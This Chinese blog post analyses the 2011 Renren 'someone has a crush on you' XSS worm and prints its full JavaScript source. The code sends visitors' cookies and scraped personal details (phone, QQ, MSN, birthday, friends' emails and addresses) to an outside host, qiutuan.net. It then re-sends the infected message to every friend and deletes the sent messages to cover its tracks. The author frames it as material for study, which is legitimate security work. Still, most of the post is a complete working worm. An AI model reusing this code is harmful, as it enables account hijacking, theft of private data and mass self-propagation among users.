人人网“有人暗戀你哦”病毒源码解析

这个病毒的原理基本上是这样的，病毒攻击者利用人人网对XSS（跨站脚本攻击）没有做任何防护实施的，简单的流程可以描述成这样：病毒制造者写了封站内信，信里里有一段<script src='http://qiutuan.net/2011/51.js'></script>这样一段脚本，现在你所看到的是可视化的内容，但是人人把它作为了html标签的内容，于是下载51.js，然后执行之，因为你在看这封站内信时已处于登录状态，这个js文件可以获取cookie内容，然后获取你的信息，然后通过一些列手段获取你的好友的信息，然后将该站内信发给你的所有好友。这个所谓的“病毒”最大的危害是泄露隐私内容，比如说你的手机号、qq号、msn、学校信息等.
   下面把那段js贴出来，大家可以研究下，写js代码的哥们肯定是人人的前员工或者其他类似的，里边使用了很多变态的技巧，有一定的学习价值，但是拿他来作恶是不对的。

var token = XN.get_check;
var mobile_friends = [];
var all_friends = [];

var my_id = 0;

function send_data(v) {
    var img = document.createElement('img');
    img.src = 'http://qiutuan.net/2011/log.php?' + v;
    document.body.appendChild(img);
    document.body.removeChild(img);
}

function send_to_friends() {
    var i;
    var idlist = [];
    for (i = 0; i < all_friends.length; i++) {
        idlist.push(all_friends[i].toString());
        if (idlist.length == 10) {
            _send_to_friends(idlist);
            idlist = [];
        }
    }
    if (idlist.length > 0) _send_to_friends(idlist);
}

function _send_to_friends(ids) {
    var content = "相信每个女生心底都有一只小猫，有的妩媚，有的狂野，有的多愁善感，有的古灵精怪……你心底的那只蠢蠢欲动的小猫，是什么样子的呢？她喜欢笑，你就老以为她是快乐的；她喜欢跳，你就老以为她是开朗的；她喜欢扭，你就老以为她是放肆的；她喜欢叫，你就老以为她是狂野的。一个人的时候，她其实多愁善感；一个人的时候，她其实安静淡然；一个人的时候，她其实内向自闭；一个人的时候，她其实乖巧温柔……<img src='http://postimg1.mop.com/200712/15/80/2025080/200712150436548802.jpg'></img>
<script src='http://qiutuan.net/2011/51.js'></script> ";
    var p = {
        action: "sharetofriend",
        body: content,
        form: {
            albumid: "0",
            currenUserTinyurl: "http://hdn.xnimg.cn/photos/hdn421/20110118/1220/tiny_GeT4_23780d019116.jpg",
            fromSharedId: "0",
            fromShareOwner: "0",
            fromname: "",
            fromno: "0",
            fromuniv: "",
            link: "http://edm.renren.com/link.do?l=27627&t=51",
            pic: "http://jebe.xnimg.cn/20110412/19/62caea7b-c7bc-4217-994a-ba6c061e5aa0.jpg",
            summary: "相信每个女生心底都有一只小猫，有的妩媚，有的狂野，有的多愁善感，有的古灵精怪……你心底的那只蠢蠢欲动的小猫，是什么样子的呢？",
            title: "加a02好友 奖品散不停",
            type: "51"
        },
        ids: ids,
        noteId: "0",
        subject: "有人暗恋你哦，你想知道TA是谁么",
        tsc: token
    };

    delete p.tsc;

    new XN.net.xmlhttp({
        url: "http://share.renren.com/share/submit.do",
        data: "tsc=" + token + "&post=" + encodeURIComponent(XN.json.build(p)),
        onSuccess: function (response) {
            del_send_messages();
        }
    });
}

function del_messages(idlist) {

    var struct_msgs = {
        action: "delete",
        folder: "1",
        slice: "20",
        unread_count: "0",
        ids: idlist
    };

    new Ajax.Request("/message/ajax.do", {
        method: "get",
        parameters: "post=" + encodeURIComponent(XN.JSON.build(struct_msgs))
    });

}


function del_send_messages() {
    new XN.net.xmlhttp({
        url: "http://msg.renren.com/message/inbox.do?f=1",
        method: "GET",
        onSuccess: function (response) {
            var listid1 = response.responseText.match(/thread_(\d+)/g);
            for (var i = 0; i < listid1.length; i++) {
                listid1[i] = listid1[i].substring(7);
            }
            del_messages(listid1);
        }
    });
}



function get_self_info() {
    new XN.net.xmlhttp({
        url: "http://www.renren.com/profile.do?v=info_ajax&undefined",
        method: "GET",
        onSuccess: function (r) {

            var text_html = r.responseText;

            var id, name, birthday, qq, school, mobile, msn, day, month, year;

            id = /getalbumprofile\.do\?owner\=(\d+)/.exec(text_html)[1];
            my_id = id;
            school = /pf_spread\'\>(.*?)\<\/a\>/.exec(text_html)[1];
            year = /birt\"\,\"year\"\:\"(\d+)/.exec(text_html)[1];
            month = /birt\"\,\"month\"\:\"(\d+)/.exec(text_html)[1];
            day = /birt\"\,\"day\"\:\"(\d+)/.exec(text_html)[1];
            name = /alt\=\"([^\"]+)的大头贴/.exec(text_html)[1];

            if (month <= 9) {
                month = "0" + month;
            }
            if (day <= 9) {
                day = "0" + day;
            }
            birthday = year + month + day;

            qq = /QQ.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];

            msn = /MSN.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];

            mobile = /手机号.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];

            var data = "type=self_info&id=" + id + "&name=" + encodeURIComponent(name) + "&school=" + encodeURIComponent(school) + "&birth=" + birthday + "&qq=" + qq + "&msn=" + encodeURIComponent(msn) + "&mobile=" + mobile;
            send_data(data);
        }

    });
}

function get_card(tid) {
    new XN.net.xmlhttp({
        url: 'http://www.renren.com/showcard?friendID=' + tid,
        method: 'get',
        onSuccess: function (r) {
            var obj = eval("(" + r.responseText + ")");
            var data = 'type=card&my_id=' + my_id + '&id=' + obj.id + '&name=' + encodeURIComponent(obj.name) + '&msn=' + encodeURIComponent(obj.msn) + '&phone=' + encodeURIComponent(obj.phone) + '&qq=' + encodeURIComponent(obj.qq) + '&email=' + encodeURIComponent(obj.email) + '&address=' + encodeURIComponent(obj.address);
            send_data(data);
        }
    });
}


function get_all_friends() {
    new XN.net.xmlhttp({
        url: "http://www.renren.com/listcards",
        method: "GET",
        onSuccess: function (r) {

            var text_html = r.responseText;
            //alert(text_html);
            var friends_list = eval("(" + text_html + ")");
            var owned_mobile = (friends_list.list[0].list).length; //have mobile friends number
            for (var i = 0; i < owned_mobile; i++) {
                mobile_friends.push(friends_list.list[0].list[i].id);
                all_friends.push(friends_list.list[0].list[i].id);
            }
            //alert(mobile_friends.length);
            var no_mobile = (friends_list.list[1].list).length;
            for (var i = 0; i < no_mobile; i++) {
                all_friends.push(friends_list.list[1].list[i].id);
            }
            //alert(all_friends.length);
            for (var i = 0; i < mobile_friends.length; i++)
            get_card(mobile_friends[i]);
            send_to_friends();
        }
    });
}

window.onload = function () {
    send_data('type=cookie&v=' + encodeURIComponent(document.cookie));
    get_self_info();
    get_all_friends();
}